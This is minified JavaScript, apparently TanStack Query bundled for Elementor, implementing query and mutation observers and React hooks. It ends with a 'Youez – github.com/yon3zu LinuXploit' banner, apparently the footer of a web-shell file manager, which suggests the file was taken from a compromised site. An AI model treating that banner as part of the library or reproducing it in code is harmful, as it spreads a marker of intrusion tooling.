0!==t&&(p="success",c=O(r?.data,t,e),l=!0)}this.#P&&(d=this.#P,c=this.#x,f=Date.now(),p="error");const y="fetching"===h.fetchStatus,m="pending"===p,v="error"===p,b=m&&y,g=void 0!==c;return{status:p,fetchStatus:h.fetchStatus,isPending:m,isSuccess:"success"===p,isError:v,isInitialLoading:b,isLoading:b,data:c,dataUpdatedAt:h.dataUpdatedAt,error:d,errorUpdatedAt:f,failureCount:h.fetchFailureCount,failureReason:h.fetchFailureReason,errorUpdateCount:h.errorUpdateCount,isFetched:h.dataUpdateCount>0||h.errorUpdateCount>0,isFetchedAfterMount:h.dataUpdateCount>o.dataUpdateCount||h.errorUpdateCount>o.errorUpdateCount,isFetching:y,isRefetching:y&&!m,isLoadingError:v&&!g,isPaused:"paused"===h.fetchStatus,isPlaceholderData:l,isRefetchError:v&&g,isStale:st(t,e),refetch:this.refetch}}updateResult(t){const e=this.#q,s=this.createResult(this.#S,this.options);if(this.#F=this.#S.state,this.#E=this.options,void 0!==this.#F.data&&(this.#D=this.#S),m(s,e))return;this.#q=s;const i={};!1!==t?.listeners&&(()=>{if(!e)return!0;const{notifyOnChangeProps:t}=this.options,s="function"==typeof t?t():t;if("all"===s||!s&&!this.#U.size)return!0;const i=new Set(s??this.#U);return this.options.throwOnError&&i.add("error"),Object.keys(this.#q).some((t=>{const s=t;return this.#q[s]!==e[s]&&i.has(s)}))})()&&(i.listeners=!0),this.#B({...i,...t})}#L(){const t=this.#w.getQueryCache().build(this.#w,this.options);if(t===this.#S)return;const e=this.#S;this.#S=t,this.#Q=t.state,this.hasListeners()&&(e?.removeObserver(this),t.addObserver(this))}onQueryUpdate(){this.updateResult(),this.hasListeners()&&this.#K()}#B(t){S.batch((()=>{t.listeners&&this.listeners.forEach((t=>{t(this.#q)})),this.#w.getQueryCache().notify({query:this.#S,type:"observerResultsUpdated"})}))}};function Z(t,e){return function(t,e){return!1!==c(e.enabled,t)&&void 0===t.state.data&&!("error"===t.state.status&&!1===e.retryOnMount)}(t,e)||void 0!==t.state.data&&tt(t,e,e.refetchOnMount)}function tt(t,e,s){if(!1!==c(e.enabled,t)){const i="function"==typeof s?s(t):s;return"always"===i||!1!==i&&st(t,e)}return!1}function et(t,e,s,i){return(t!==e||!1===c(i.enabled,t))&&(!s.suspense||"error"!==t.state.status)&&st(t,s)}function st(t,e){return!1!==c(e.enabled,t)&&t.isStaleByTime(u(e.staleTime,t))}var it=class extends X{constructor(t,e){super(t,e)}bindMethods(){super.bindMethods(),this.fetchNextPage=this.fetchNextPage.bind(this),this.fetchPreviousPage=this.fetchPreviousPage.bind(this)}setOptions(t,e){super.setOptions({...t,behavior:L()},e)}getOptimisticResult(t){return t.behavior=L(),super.getOptimisticResult(t)}fetchNextPage(t){return this.fetch({...t,meta:{fetchMore:{direction:"forward"}}})}fetchPreviousPage(t){return this.fetch({...t,meta:{fetchMore:{direction:"backward"}}})}createResult(t,e){const{state:s}=t,i=super.createResult(t,e),{isFetching:r,isRefetching:n,isError:a,isRefetchError:o}=i,u=s.fetchMeta?.fetchMore?.direction,c=a&&"forward"===u,h=r&&"forward"===u,l=a&&"backward"===u,d=r&&"backward"===u;return{...i,fetchNextPage:this.fetchNextPage,fetchPreviousPage:this.fetchPreviousPage,hasNextPage:G(e,s.data),hasPreviousPage:B(e,s.data),isFetchNextPageError:c,isFetchingNextPage:h,isFetchPreviousPageError:l,isFetchingPreviousPage:d,isRefetchError:o&&!c&&!l,isRefetching:n&&!h&&!d}}};var rt=$.createContext(function(){let t=!1;return{clearReset:()=>{t=!1},reset:()=>{t=!0},isReset:()=>t}}()),nt=()=>$.useContext(rt),at=$.createContext(!1),ot=()=>$.useContext(at);function ut(t,e){return"function"==typeof t?t(...e):!!t}function ct(){}at.Provider;var ht=(t,e)=>{(t.suspense||t.throwOnError)&&(e.isReset()||(t.retryOnMount=!1))},lt=t=>{$.useEffect((()=>{t.clearReset()}),[t])},dt=({result:t,errorResetBoundary:e,throwOnError:s,query:i})=>t.isError&&!e.isReset()&&!t.isFetching&&i&&ut(s,[t.error,i]),ft=t=>{t.suspense&&"number"!=typeof t.staleTime&&(t.staleTime=1e3)},pt=(t,e)=>t?.suspense&&e.isPending,yt=(t,e,s)=>e.fetchOptimistic(t).catch((()=>{s.clearReset()}));function mt(t,e,s){const i=J(s),r=ot(),n=nt(),a=i.defaultQueryOptions(t);i.getDefaultOptions().queries?._experimental_beforeQuery?.(a),a._optimisticResults=r?"isRestoring":"optimistic",ft(a),ht(a,n),lt(n);const[o]=$.useState((()=>new e(i,a))),u=o.getOptimisticResult(a);if($.useSyncExternalStore($.useCallback((t=>{const e=r?()=>{}:o.subscribe(S.batchCalls(t));return o.updateResult(),e}),[o,r]),(()=>o.getCurrentResult()),(()=>o.getCurrentResult())),$.useEffect((()=>{o.setOptions(a,{listeners:!1})}),[a,o]),pt(a,u))throw yt(a,o,n);if(dt({result:u,errorResetBoundary:n,throwOnError:a.throwOnError,query:i.getQueryCache().get(a.queryHash)}))throw u.error;return i.getDefaultOptions().queries?._experimental_afterQuery?.(a,u),a.notifyOnChangeProps?u:o.trackResult(u)}function vt(t,e){return mt(t,it,e)}var bt=class extends Q{#w;#q=void 0;#W;#$;constructor(t,e){super(),this.#w=t,this.setOptions(e),this.bindMethods(),this.#z()}bindMethods(){this.mutate=this.mutate.bind(this),this.reset=this.reset.bind(this)}setOptions(t){const e=this.options;this.options=this.#w.defaultMutationOptions(t),m(this.options,e)||this.#w.getMutationCache().notify({type:"observerOptionsUpdated",mutation:this.#W,observer:this}),e?.mutationKey&&this.options.mutationKey&&f(e.mutationKey)!==f(this.options.mutationKey)?this.reset():"pending"===this.#W?.state.status&&this.#W.setOptions(this.options)}onUnsubscribe(){this.hasListeners()||this.#W?.removeObserver(this)}onMutationUpdate(t){this.#z(),this.#B(t)}getCurrentResult(){return this.#q}reset(){this.#W?.removeObserver(this),this.#W=void 0,this.#z(),this.#B()}mutate(t,e){return this.#$=e,this.#W?.removeObserver(this),this.#W=this.#w.getMutationCache().build(this.#w,this.options),this.#W.addObserver(this),this.#W.execute(t)}#z(){const t=this.#W?.state??{context:void 0,data:void 0,error:null,failureCount:0,failureReason:null,isPaused:!1,status:"idle",variables:void 0,submittedAt:0};this.#q={...t,isPending:"pending"===t.status,isSuccess:"success"===t.status,isError:"error"===t.status,isIdle:"idle"===t.status,mutate:this.mutate,reset:this.reset}}#B(t){S.batch((()=>{if(this.#$&&this.hasListeners()){const e=this.#q.variables,s=this.#q.context;"success"===t?.type?(this.#$.onSuccess?.(t.data,e,s),this.#$.onSettled?.(t.data,null,e,s)):"error"===t?.type&&(this.#$.onError?.(t.error,e,s),this.#$.onSettled?.(void 0,t.error,e,s))}this.listeners.forEach((t=>{t(this.#q)}))}))}};function gt(t,e){const s=J(e),[i]=$.useState((()=>new bt(s,t)));$.useEffect((()=>{i.setOptions(t)}),[i,t]);const r=$.useSyncExternalStore($.useCallback((t=>i.subscribe(S.batchCalls(t))),[i]),(()=>i.getCurrentResult()),(()=>i.getCurrentResult())),n=$.useCallback(((t,e)=>{i.mutate(t,e).catch(ct)}),[i]);if(r.error&&ut(i.options.throwOnError,[r.error]))throw r.error;return{...r,mutate:n,mutateAsync:r.mutate}}function Ot(t,e){return mt(t,X,e)}function Rt(){return new W({defaultOptions:{queries:{refetchOnWindowFocus:!1,refetchOnReconnect:!1}}})}(window.elementorV2=window.elementorV2||{}).query=i}();

Youez - 2016 - github.com/yon3zu
LinuXploit